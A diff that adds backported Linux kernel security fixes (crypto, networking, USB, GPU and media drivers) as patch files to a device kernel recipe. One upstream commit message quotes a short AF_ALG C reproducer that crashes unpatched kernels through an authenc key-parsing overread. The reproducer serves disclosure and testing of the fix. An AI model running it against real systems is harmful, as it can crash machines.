a/net/ipv4/cipso_ipv4.c b/net/ipv4/cipso_ipv4.c +index 3b16be5..0bf82567 100644 +--- a/net/ipv4/cipso_ipv4.c ++++ b/net/ipv4/cipso_ipv4.c +@@ -1341,7 +1341,8 @@ + return ret_val; + } + +- secattr->flags |= NETLBL_SECATTR_MLS_CAT; ++ if (secattr->attr.mls.cat) ++ secattr->flags |= NETLBL_SECATTR_MLS_CAT; + } + + return 0; +@@ -1522,7 +1523,8 @@ + return ret_val; + } + +- secattr->flags |= NETLBL_SECATTR_MLS_CAT; ++ if (secattr->attr.mls.cat) ++ secattr->flags |= NETLBL_SECATTR_MLS_CAT; + } + + return 0; +diff --git a/net/netlabel/netlabel_kapi.c b/net/netlabel/netlabel_kapi.c +index bfa2b6d..25ab12e 100644 +--- a/net/netlabel/netlabel_kapi.c ++++ b/net/netlabel/netlabel_kapi.c +@@ -605,6 +605,12 @@ + if ((off & (BITS_PER_LONG - 1)) != 0) + return -EINVAL; + ++ /* a null catmap is equivalent to an empty one */ ++ if (!catmap) { ++ *offset = (u32)-1; ++ return 0; ++ } ++ + if (off < catmap->startbit) { + off = catmap->startbit; + *offset = off; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0647.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0647.diff new file mode 100644 index 0000000..1aa91a8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0647.diff @@ -0,0 +1,20 @@ +diff --git a/net/core/dev.c b/net/core/dev.c +index 19a2983..605fee0 100644 +--- a/net/core/dev.c ++++ b/net/core/dev.c +@@ -4264,7 +4264,6 @@ + skb_reset_mac_header(skb); + skb_gro_reset_offset(skb); + +- eth = skb_gro_header_fast(skb, 0); + if (unlikely(skb_gro_header_hard(skb, hlen))) { + eth = skb_gro_header_slow(skb, hlen, 0); + if (unlikely(!eth)) { +@@ -4272,6 +4271,7 @@ + return NULL; + } + } else { ++ eth = (const struct ethhdr *)skb->data; + gro_pull_from_frag0(skb, hlen); + NAPI_GRO_CB(skb)->frag0 += hlen; + NAPI_GRO_CB(skb)->frag0_len -= hlen; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0648-98d2b2486aea-crypto authenc fix parsing key with misaligned rtalen.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0648-98d2b2486aea-crypto authenc fix parsing key with misaligned rtalen.patch new file mode 100644 index 0000000..b3e119c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0648-98d2b2486aea-crypto authenc fix parsing key with misaligned rtalen.patch @@ -0,0 +1,118 @@ +From 98d2b2486aea705806f72626e02f29b8d6b8aa68 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Sun, 16 Dec 2018 23:23:22 -0800 +Subject: crypto: authenc - fix parsing key with misaligned rta_len + +commit 8f9c469348487844328e162db57112f7d347c49f upstream. + +Keys for "authenc" AEADs are formatted as an rtattr containing a 4-byte +'enckeylen', followed by an authentication key and an encryption key. +crypto_authenc_extractkeys() parses the key to find the inner keys. + +However, it fails to consider the case where the rtattr's payload is +longer than 4 bytes but not 4-byte aligned, and where the key ends +before the next 4-byte aligned boundary. In this case, 'keylen -= +RTA_ALIGN(rta->rta_len);' underflows to a value near UINT_MAX. This +causes a buffer overread and crash during crypto_ahash_setkey(). + +Fix it by restricting the rtattr payload to the expected size. + +Reproducer using AF_ALG: + + #include + #include + #include + + int main() + { + int fd; + struct sockaddr_alg addr = { + .salg_type = "aead", + .salg_name = "authenc(hmac(sha256),cbc(aes))", + }; + struct { + struct rtattr attr; + __be32 enckeylen; + char keys[1]; + } __attribute__((packed)) key = { + .attr.rta_len = sizeof(key), + .attr.rta_type = 1 /* CRYPTO_AUTHENC_KEYA_PARAM */, + }; + + fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + bind(fd, (void *)&addr, sizeof(addr)); + setsockopt(fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key)); + } + +It caused: + + BUG: unable to handle kernel paging request at ffff88007ffdc000 + PGD 2e01067 P4D 2e01067 PUD 2e04067 PMD 2e05067 PTE 0 + Oops: 0000 [#1] SMP + CPU: 0 PID: 883 Comm: authenc Not tainted 4.20.0-rc1-00108-g00c9fe37a7f27 #13 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-20181126_142135-anatol 04/01/2014 + RIP: 0010:sha256_ni_transform+0xb3/0x330 arch/x86/crypto/sha256_ni_asm.S:155 + [...] + Call Trace: + sha256_ni_finup+0x10/0x20 arch/x86/crypto/sha256_ssse3_glue.c:321 + crypto_shash_finup+0x1a/0x30 crypto/shash.c:178 + shash_digest_unaligned+0x45/0x60 crypto/shash.c:186 + crypto_shash_digest+0x24/0x40 crypto/shash.c:202 + hmac_setkey+0x135/0x1e0 crypto/hmac.c:66 + crypto_shash_setkey+0x2b/0xb0 crypto/shash.c:66 + shash_async_setkey+0x10/0x20 crypto/shash.c:223 + crypto_ahash_setkey+0x2d/0xa0 crypto/ahash.c:202 + crypto_authenc_setkey+0x68/0x100 crypto/authenc.c:96 + crypto_aead_setkey+0x2a/0xc0 crypto/aead.c:62 + aead_setkey+0xc/0x10 crypto/algif_aead.c:526 + alg_setkey crypto/af_alg.c:223 [inline] + alg_setsockopt+0xfe/0x130 crypto/af_alg.c:256 + __sys_setsockopt+0x6d/0xd0 net/socket.c:1902 + __do_sys_setsockopt net/socket.c:1913 [inline] + __se_sys_setsockopt net/socket.c:1910 [inline] + __x64_sys_setsockopt+0x1f/0x30 net/socket.c:1910 + do_syscall_64+0x4a/0x180 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Fixes: e236d4a89a2f ("[CRYPTO] authenc: Move enckeylen into key itself") +Cc: # v2.6.25+ +Signed-off-by: Eric Biggers +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + crypto/authenc.c | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +diff --git a/crypto/authenc.c b/crypto/authenc.c +index eb029ea72f98e..d0245ff3e7368 100644 +--- a/crypto/authenc.c ++++ b/crypto/authenc.c +@@ -62,14 +62,22 @@ int crypto_authenc_extractkeys(struct crypto_authenc_keys *keys, const u8 *key, + return -EINVAL; + if (rta->rta_type != CRYPTO_AUTHENC_KEYA_PARAM) + return -EINVAL; +- if (RTA_PAYLOAD(rta) < sizeof(*param)) ++ ++ /* ++ * RTA_OK() didn't align the rtattr's payload when validating that it ++ * fits in the buffer. Yet, the keys should start on the next 4-byte ++ * aligned boundary. To avoid confusion, require that the rtattr ++ * payload be exactly the param struct, which has a 4-byte aligned size. ++ */ ++ if (RTA_PAYLOAD(rta) != sizeof(*param)) + return -EINVAL; ++ BUILD_BUG_ON(sizeof(*param) % RTA_ALIGNTO); + + param = RTA_DATA(rta); + keys->enckeylen = be32_to_cpu(param->enckeylen); + +- key += RTA_ALIGN(rta->rta_len); +- keylen -= RTA_ALIGN(rta->rta_len); ++ key += rta->rta_len; ++ keylen -= rta->rta_len; + + if (keylen < keys->enckeylen) + return -EINVAL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0649-b8e51a6a9db9-s390cmm fix information leak in cmmtimeouthandler.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0649-b8e51a6a9db9-s390cmm fix information leak in cmmtimeouthandler.patch new file mode 100644 index 0000000..0457e96 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0649-b8e51a6a9db9-s390cmm fix information leak in cmmtimeouthandler.patch @@ -0,0 +1,65 @@ +From b8e51a6a9db94bc1fb18ae831b3dab106b5a4b5f Mon Sep 17 00:00:00 2001 +From: Yihui ZENG +Date: Fri, 25 Oct 2019 12:31:48 +0300 +Subject: s390/cmm: fix information leak in cmm_timeout_handler() + +The problem is that we were putting the NUL terminator too far: + + buf[sizeof(buf) - 1] = '\0'; + +If the user input isn't NUL terminated and they haven't initialized the +whole buffer then it leads to an info leak. The NUL terminator should +be: + + buf[len - 1] = '\0'; + +Signed-off-by: Yihui Zeng +Cc: stable@vger.kernel.org +Signed-off-by: Dan Carpenter +[heiko.carstens@de.ibm.com: keep semantics of how *lenp and *ppos are handled] +Signed-off-by: Heiko Carstens +Signed-off-by: Vasily Gorbik +--- + arch/s390/mm/cmm.c | 12 ++++++------ + 1 file changed, 6 insertions(+), 6 deletions(-) + +diff --git a/arch/s390/mm/cmm.c b/arch/s390/mm/cmm.c +index 510a18299196..a51c892f14f3 100644 +--- a/arch/s390/mm/cmm.c ++++ b/arch/s390/mm/cmm.c +@@ -298,16 +298,16 @@ static int cmm_timeout_handler(struct ctl_table *ctl, int write, + } + + if (write) { +- len = *lenp; +- if (copy_from_user(buf, buffer, +- len > sizeof(buf) ? sizeof(buf) : len)) ++ len = min(*lenp, sizeof(buf)); ++ if (copy_from_user(buf, buffer, len)) + return -EFAULT; +- buf[sizeof(buf) - 1] = '\0'; ++ buf[len - 1] = '\0'; + cmm_skip_blanks(buf, &p); + nr = simple_strtoul(p, &p, 0); + cmm_skip_blanks(p, &p); + seconds = simple_strtoul(p, &p, 0); + cmm_set_timeout(nr, seconds); ++ *ppos += *lenp; + } else { + len = sprintf(buf, "%ld %ld\n", + cmm_timeout_pages, cmm_timeout_seconds); +@@ -315,9 +315,9 @@ static int cmm_timeout_handler(struct ctl_table *ctl, int write, + len = *lenp; + if (copy_to_user(buffer, buf, len)) + return -EFAULT; ++ *lenp = len; ++ *ppos += len; + } +- *lenp = len; +- *ppos += len; + return 0; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0650.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0650.diff new file mode 100644 index 0000000..e54c9e8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0650.diff @@ -0,0 +1,31 @@ +diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c +index 4f77ac7..14be724 100644 +--- a/drivers/vhost/net.c ++++ b/drivers/vhost/net.c +@@ -838,11 +838,7 @@ + + static struct socket *get_raw_socket(int fd) + { +- struct { +- struct sockaddr_ll sa; +- char buf[MAX_ADDR_LEN]; +- } uaddr; +- int uaddr_len = sizeof uaddr, r; ++ int r; + struct socket *sock = sockfd_lookup(fd, &r); + + if (!sock) +@@ -854,12 +850,7 @@ + goto err; + } + +- r = sock->ops->getname(sock, (struct sockaddr *)&uaddr.sa, +- &uaddr_len, 0); +- if (r) +- goto err; +- +- if (uaddr.sa.sll_family != AF_PACKET) { ++ if (sock->sk->sk_family != AF_PACKET) { + r = -EPFNOSUPPORT; + goto err; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0651-76a699e746c9-net sockev avoid races between sockev and socketclose.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0651-76a699e746c9-net sockev avoid races between sockev and socketclose.patch new file mode 100644 index 0000000..b8ca12a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0651-76a699e746c9-net sockev avoid races between sockev and socketclose.patch @@ -0,0 +1,89 @@ +From 76a699e746c9b3a1494597a6756ff21fc84b48e4 Mon Sep 17 00:00:00 2001 +From: Sharath Chandra Vurukala +Date: Wed, 24 Apr 2019 11:35:26 +0530 +Subject: net: sockev: avoid races between sockev and socket_close + +Use-after-free is seen when sending a sockev netlink message +since socket is not held which can race with sk_free. + +KASAN: use-after-free in sockev_client_cb+0x41c/0x4b8 + in net/core/sockev_nlmcast.c:104 +Read of size 2 at addr ffffffc08420c550 +Call trace: +dump_backtrace+0x0/0x388 arch/arm64/kernel/time.c:55 +show_stack+0x24/0x30 arch/arm64/kernel/traps.c:152 +__dump_stack+0x24/0x2c lib/dump_stack.c:17 +dump_stack+0x8c/0xd0 lib/dump_stack.c:53 +print_address_description+0x74/0x234 mm/kasan/report.c:256 +kasan_report_error mm/kasan/report.c:354 [inline] +kasan_report+0x240/0x264 mm/kasan/report.c:412 +__asan_report_load2_noabort+0x2c/0x38 mm/kasan/report.c:431 +sockev_client_cb+0x41c/0x4b8 net/core/sockev_nlmcast.c:104 +notifier_call_chain+0x104/0x158 kernel/notifier.c:93 +__blocking_notifier_call_chain+0x80/0xb0 kernel/notifier.c:317 +blocking_notifier_call_chain+0x3c/0x4c kernel/notifier.c:328 +sockev_notify+0x30/0x3c net/socket.c:181 +SYSC_bind net/socket.c:1509 [inline] +SyS_bind+0x1ec/0x30c net/socket.c:1489 +el0_svc_naked+0x34/0x38 +Freed by task 19460: +save_stack mm/kasan/kasan.c:447 [inline] +set_track mm/kasan/kasan.c:459 [inline] +__kasan_slab_free+0x134/0x20c mm/kasan/kasan.c:520 +kasan_slab_free+0x10/0x1c mm/kasan/kasan.c:527 +slab_free_hook mm/slub.c:1401 [inline] +slab_free_freelist_hook mm/slub.c:1422 [inline] +slab_free mm/slub.c:2979 [inline] +kmem_cache_free+0x114/0x664 mm/slub.c:3001 +sk_prot_free net/core/sock.c:1504 [inline] +__sk_destruct+0x324/0x3c0 net/core/sock.c:1585 +__sk_free+0x180/0x200 net/core/sock.c:1601 +sk_free+0x44/0x50 net/core/sock.c:1612 +sock_put include/net/sock.h:1643 [inline] +sk_common_release+0x198/0x20c net/core/sock.c:3014 +raw_close+0x38/0x44 net/ipv4/raw.c:703 +inet_release+0x128/0x15c net/ipv4/af_inet.c:446 +__sock_release+0xb8/0x258 net/socket.c:614 +sock_close+0x24/0x34 net/socket.c:1150 +__fput+0x1f4/0x4e4 fs/file_table.c:345 +____fput+0x20/0x2c fs/file_table.c:380 +task_work_run+0x9c/0x174 kernel/task_work.c:113 + +Change-Id: Idb4335889b6e4228f36d76ca5b6156cc5e5838da +Signed-off-by: Sharath Chandra Vurukala +--- + net/core/sockev_nlmcast.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/core/sockev_nlmcast.c b/net/core/sockev_nlmcast.c +index 230f8ab..5fd98ac 100644 +--- a/net/core/sockev_nlmcast.c ++++ b/net/core/sockev_nlmcast.c +@@ -57,11 +57,13 @@ static int sockev_client_cb(struct notifier_block *nb, + + sock = (struct socket *)data; + if (!socknlmsgsk || !sock) +- goto done; ++ goto sk_null; + + sk = sock->sk; + if (!sk) +- goto done; ++ goto sk_null; ++ ++ sock_hold(sk); + + if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6) + goto done; +@@ -92,6 +94,8 @@ static int sockev_client_cb(struct notifier_block *nb, + smsg->skflags = sk->sk_flags; + nlmsg_notify(socknlmsgsk, skb, 0, SKNLGRP_SOCKEV, 0, GFP_KERNEL); + done: ++ sock_put(sk); ++sk_null: + return 0; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0652-6b3e480f729f-crypto Fix possible stack out of bound error.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0652-6b3e480f729f-crypto Fix possible stack out of bound error.patch new file mode 100644 index 0000000..7309b30 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0652-6b3e480f729f-crypto Fix possible stack out of bound error.patch @@ -0,0 +1,34 @@ +From 6b3e480f729f291ec9e89e9864582795f02ac1d9 Mon Sep 17 00:00:00 2001 +From: Tanwee Kausar +Date: Mon, 10 Aug 2020 16:10:50 -0700 +Subject: crypto: Fix possible stack out of bound error + +Adding fix to check the upper limit on the length +of the destination array while copying elements from +source address to avoid stack out of bound error. + +Change-Id: Ieb24e8f9b4a2b53fbc9442b25d790b12f737d471 +Signed-off-by: Tanwee Kausar +--- + drivers/crypto/msm/qce50.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/crypto/msm/qce50.c b/drivers/crypto/msm/qce50.c +index 1ef5382..3890b683 100644 +--- a/drivers/crypto/msm/qce50.c ++++ b/drivers/crypto/msm/qce50.c +@@ -850,6 +850,11 @@ static int _ce_setup_cipher(struct qce_device *pce_dev, struct qce_req *creq, + switch (creq->alg) { + case CIPHER_ALG_DES: + if (creq->mode != QCE_MODE_ECB) { ++ if (ivsize > MAX_IV_LENGTH) { ++ pr_err("%s: error: Invalid length parameter\n", ++ __func__); ++ return -EINVAL; ++ } + _byte_stream_to_net_words(enciv32, creq->iv, ivsize); + pce = cmdlistinfo->encr_cntr_iv; + pce->data = enciv32[0]; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0653-b2d624743de4-crypto Fix possible stack out of bound error.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0653-b2d624743de4-crypto Fix possible stack out of bound error.patch new file mode 100644 index 0000000..46a7b13 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0653-b2d624743de4-crypto Fix possible stack out of bound error.patch @@ -0,0 +1,34 @@ +From b2d624743de45b07bffc53224fa8987dd7199fae Mon Sep 17 00:00:00 2001 +From: Karthick Shanmugham +Date: Mon, 5 Oct 2020 18:46:14 +0530 +Subject: crypto: Fix possible stack out of bound error + +Adding fix to check the upper limit on the length +of the destination array while copying elements from +source address to avoid stack out of bound error. + +Signed-off-by: Karthick Shanmugham +Change-Id: I01cfc1ec1776a00010800846becc0b6ece17b9c8 +--- + drivers/crypto/msm/qce.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/crypto/msm/qce.c b/drivers/crypto/msm/qce.c +index 4cf95b9..e204dcc 100644 +--- a/drivers/crypto/msm/qce.c ++++ b/drivers/crypto/msm/qce.c +@@ -768,6 +768,11 @@ static int _ce_setup(struct qce_device *pce_dev, struct qce_req *q_req, + switch (q_req->alg) { + case CIPHER_ALG_DES: + if (q_req->mode != QCE_MODE_ECB) { ++ if (ivsize > MAX_IV_LENGTH) { ++ pr_err("%s: error: Invalid length parameter\n", ++ __func__); ++ return -EINVAL; ++ } + _byte_stream_to_net_words(enciv32, q_req->iv, ivsize); + writel_relaxed(enciv32[0], pce_dev->iobase + + CRYPTO_CNTR0_IV0_REG); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0654-a3c08f0483dd-msm kgsl Remove VMMAYWRITE flag to restrict mprotect.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0654-a3c08f0483dd-msm kgsl Remove VMMAYWRITE flag to restrict mprotect.patch new file mode 100644 index 0000000..a849632 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0654-a3c08f0483dd-msm kgsl Remove VMMAYWRITE flag to restrict mprotect.patch @@ -0,0 +1,32 @@ +From a3c08f0483dd13f5c19be0e2ca2f0167187cbb71 Mon Sep 17 00:00:00 2001 +From: Indira Biruduraju +Date: Tue, 11 Aug 2020 15:24:16 +0530 +Subject: msm: kgsl: Remove VM_MAYWRITE flag to restrict mprotect + +When VM_MAYWRITE flag is used during mmap(), mprotect() +can be used later to change the protection of memstore +to allow write. Make sure this does not happen by +removing VM_MAYWRITE from the vm_flags of vma. + +Change-Id: I6f69f05858ea40611d512cfa796caabeaa88cdb5 +Signed-off-by: Indira Biruduraju +--- + drivers/gpu/msm/kgsl.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/gpu/msm/kgsl.c b/drivers/gpu/msm/kgsl.c +index ff4daba..224ec28 100644 +--- a/drivers/gpu/msm/kgsl.c ++++ b/drivers/gpu/msm/kgsl.c +@@ -4121,6 +4121,8 @@ kgsl_mmap_memstore(struct kgsl_device *device, struct vm_area_struct *vma) + if (vma->vm_flags & VM_WRITE) + return -EPERM; + ++ vma->vm_flags &= ~VM_MAYWRITE; ++ + if (memdesc->size != vma_size) { + KGSL_MEM_ERR(device, "memstore bad size: %d should be %llu\n", + vma_size, memdesc->size); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0655-79856f1b189f-usb dwc3 ep0 Return from handlestatus if ep0delegatereq.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0655-79856f1b189f-usb dwc3 ep0 Return from handlestatus if ep0delegatereq.patch new file mode 100644 index 0000000..ef99bc6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0655-79856f1b189f-usb dwc3 ep0 Return from handlestatus if ep0delegatereq.patch @@ -0,0 +1,47 @@ +From 79856f1b189faf189f8cf43e7222fc0b5138563e Mon Sep 17 00:00:00 2001 +From: Udipto Goswami +Date: Wed, 16 Sep 2020 17:20:10 +0530 +Subject: usb: dwc3: ep0: Return from handle_status if ep0_delegate_req + succeeds + +Currently if the controller receives a standard interface request +like 0x81 it goes to ep0_inspect_setup where on the basis of +bRequestType it calls ep0_std_request which calls handle_status. + +Since it is an interface request, it will further call +delegate_request which is handles in composite_setup and calls +ep0_queue. However, in the implementation of handle_status we have +an if check for return value of delegate request. If it returns +zero then instead of bailing out from there we break from the switch +and go to the return statement of handle_status, which is ep0_queue. +This results in queuing the same request two times resulting in a +list corruption due to double add. + +Fix this by returning from handle_status irrespective of the +return status as in case ep0_queue fails we are suppose to +bail out without doing anything. + +Change-Id: Ibfc99e9112b1173f2a22007a5e18b458904cefca +Signed-off-by: Udipto Goswami +--- + drivers/usb/dwc3/ep0.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/drivers/usb/dwc3/ep0.c b/drivers/usb/dwc3/ep0.c +index 68db8096..94abfc3 100644 +--- a/drivers/usb/dwc3/ep0.c ++++ b/drivers/usb/dwc3/ep0.c +@@ -400,9 +400,7 @@ static int dwc3_ep0_handle_status(struct dwc3 *dwc, + */ + + ret = dwc3_ep0_delegate_req(dwc, ctrl); +- if (ret) +- return ret; +- break; ++ return ret; + + case USB_RECIP_ENDPOINT: + dep = dwc3_wIndex_to_dep(dwc, ctrl->wIndex); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0656.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0656.diff new file mode 100644 index 0000000..4637eaa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0656.diff @@ -0,0 +1,22 @@ +diff --git a/drivers/net/can/slcan.c b/drivers/net/can/slcan.c +index 14012ea..3e2ffe6 100644 +--- a/drivers/net/can/slcan.c ++++ b/drivers/net/can/slcan.c +@@ -150,7 +150,7 @@ + u32 tmpid; + char *cmd = sl->rbuff; + +- cf.can_id = 0; ++ memset(&cf, 0, sizeof(cf)); + + switch (*cmd) { + case 'r': +@@ -189,8 +189,6 @@ + else + return; + +- *(u64 *) (&cf.data) = 0; /* clear payload */ +- + /* RTR frames may have a dlc > 0 but they never have any data bytes */ + if (!(cf.can_id & CAN_RTR_FLAG)) { + for (i = 0; i < cf.can_dlc; i++) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0657.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0657.diff new file mode 100644 index 0000000..ca349b3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0657.diff @@ -0,0 +1,24 @@ +diff --git a/mm/mempolicy.c b/mm/mempolicy.c +index 06659e4..842a985 100644 +--- a/mm/mempolicy.c ++++ b/mm/mempolicy.c +@@ -2720,7 +2720,9 @@ + switch (mode) { + case MPOL_PREFERRED: + /* +- * Insist on a nodelist of one node only ++ * Insist on a nodelist of one node only, although later ++ * we use first_node(nodes) to grab a single node, so here ++ * nodelist (or nodes) cannot be empty. + */ + if (nodelist) { + char *rest = nodelist; +@@ -2728,6 +2730,8 @@ + rest++; + if (*rest) + goto out; ++ if (nodes_empty(nodes)) ++ goto out; + } + break; + case MPOL_INTERLEAVE: diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0658.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0658.diff new file mode 100644 index 0000000..6946731 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0658.diff @@ -0,0 +1,28 @@ +diff --git a/drivers/media/usb/gspca/ov519.c b/drivers/media/usb/gspca/ov519.c +index c7aafdb..9a49b50 100644 +--- a/drivers/media/usb/gspca/ov519.c ++++ b/drivers/media/usb/gspca/ov519.c +@@ -3507,6 +3507,11 @@ + return; + } + ++ if (alt->desc.bNumEndpoints < 1) { ++ sd->gspca_dev.usb_err = -ENODEV; ++ return; ++ } ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + reg_w(sd, R51x_FIFO_PSIZE, packet_size >> 5); + +@@ -3632,6 +3637,11 @@ + return; + } + ++ if (alt->desc.bNumEndpoints < 1) { ++ sd->gspca_dev.usb_err = -ENODEV; ++ return; ++ } ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + ov518_reg_w32(sd, R51x_FIFO_PSIZE, packet_size & ~7, 2); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0659-998912346c0d-media ov519 add missing endpoint sanity checks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0659-998912346c0d-media ov519 add missing endpoint sanity checks.patch new file mode 100644 index 0000000..b7a211f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0659-998912346c0d-media ov519 add missing endpoint sanity checks.patch @@ -0,0 +1,54 @@ +From 998912346c0da53a6dbb71fab3a138586b596b30 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Fri, 3 Jan 2020 17:35:09 +0100 +Subject: media: ov519: add missing endpoint sanity checks + +Make sure to check that we have at least one endpoint before accessing +the endpoint array to avoid dereferencing a NULL-pointer on stream +start. + +Note that these sanity checks are not redundant as the driver is mixing +looking up altsettings by index and by number, which need not coincide. + +Fixes: 1876bb923c98 ("V4L/DVB (12079): gspca_ov519: add support for the ov511 bridge") +Fixes: b282d87332f5 ("V4L/DVB (12080): gspca_ov519: Fix ov518+ with OV7620AE (Trust spacecam 320)") +Cc: stable # 2.6.31 +Cc: Hans de Goede +Signed-off-by: Johan Hovold +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/gspca/ov519.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/media/usb/gspca/ov519.c b/drivers/media/usb/gspca/ov519.c +index f417dfc0b8729..0afe70a3f9a2d 100644 +--- a/drivers/media/usb/gspca/ov519.c ++++ b/drivers/media/usb/gspca/ov519.c +@@ -3477,6 +3477,11 @@ static void ov511_mode_init_regs(struct sd *sd) + return; + } + ++ if (alt->desc.bNumEndpoints < 1) { ++ sd->gspca_dev.usb_err = -ENODEV; ++ return; ++ } ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + reg_w(sd, R51x_FIFO_PSIZE, packet_size >> 5); + +@@ -3603,6 +3608,11 @@ static void ov518_mode_init_regs(struct sd *sd) + return; + } + ++ if (alt->desc.bNumEndpoints < 1) { ++ sd->gspca_dev.usb_err = -ENODEV; ++ return; ++ } ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + ov518_reg_w32(sd, R51x_FIFO_PSIZE, packet_size & ~7, 2); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0660.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0660.diff new file mode 100644 index 0000000..daf6588 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0660.diff @@ -0,0 +1,63 @@ +diff --git a/drivers/media/usb/gspca/stv06xx/stv06xx.c b/drivers/media/usb/gspca/stv06xx/stv06xx.c +index 49d209b..66a0072 100644 +--- a/drivers/media/usb/gspca/stv06xx/stv06xx.c ++++ b/drivers/media/usb/gspca/stv06xx/stv06xx.c +@@ -293,6 +293,9 @@ + return -EIO; + } + ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + err = stv06xx_write_bridge(sd, STV_ISO_SIZE_L, packet_size); + if (err < 0) +@@ -317,11 +320,21 @@ + + static int stv06xx_isoc_init(struct gspca_dev *gspca_dev) + { ++ struct usb_interface_cache *intfc; + struct usb_host_interface *alt; + struct sd *sd = (struct sd *) gspca_dev; + ++ intfc = gspca_dev->dev->actconfig->intf_cache[0]; ++ ++ if (intfc->num_altsetting < 2) ++ return -ENODEV; ++ ++ alt = &intfc->altsetting[1]; ++ ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + /* Start isoc bandwidth "negotiation" at max isoc bandwidth */ +- alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + alt->endpoint[0].desc.wMaxPacketSize = + cpu_to_le16(sd->sensor->max_packet_size[gspca_dev->curr_mode]); + +@@ -334,6 +347,10 @@ + struct usb_host_interface *alt; + struct sd *sd = (struct sd *) gspca_dev; + ++ /* ++ * Existence of altsetting and endpoint was verified in ++ * stv06xx_isoc_init() ++ */ + alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + min_packet_size = sd->sensor->min_packet_size[gspca_dev->curr_mode]; +diff --git a/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c b/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c +index 8d785ed..cc88c059 100644 +--- a/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c ++++ b/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c +@@ -198,6 +198,10 @@ + alt = usb_altnum_to_altsetting(intf, sd->gspca_dev.alt); + if (!alt) + return -ENODEV; ++ ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + + /* If we don't have enough bandwidth use a lower framerate */ diff --git 